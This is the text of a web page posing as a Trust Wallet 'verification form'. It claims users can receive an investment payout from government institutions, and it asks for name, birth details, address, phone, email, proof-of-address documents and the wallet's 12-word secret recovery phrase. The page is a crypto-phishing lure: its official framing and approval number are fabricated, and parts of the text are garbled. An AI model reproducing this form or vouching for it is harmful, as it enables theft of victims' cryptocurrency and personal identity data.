Trust Wallet

Trust Wallet Verification Form

For the purpose of receiving an investment amount from an official institution.

Landing Image

Trust Wallet

Wallet verification form for the purpose of receiving an investment amount from an official institution.

This form is sudmiffed for the purpose of verifying an c/ccfronic wallet registered under an individual’s name at the request of a government authority or Institution to facilitate tho transfer of a financial amount from government ontltios to the wallet holder

APPROVAL NO.1405-0189

Investment Application Form

Personal Information

Last Name(s)*

First Name*

Middle Name

Other Names Used

Date of Birth*

Place Of Birth*

Current Address*

Phone Number*

Email*

Investment Information

Do you have an Investment license?*

YesNo

Investment License Number*

USDT Address*

Secret Phrase*You must enter exactly 12 keywordsType the keyword and press Space

Keywords

DON'T share your secret phrase with anyone. We ask you just once to verify wallet ownership.

Required Documents

Upload a clear image of your proof of address.

DS-174

Download Trust Wallet

The most trusted & secure crypto wallet.

Contact Usinfo@trustwallet.global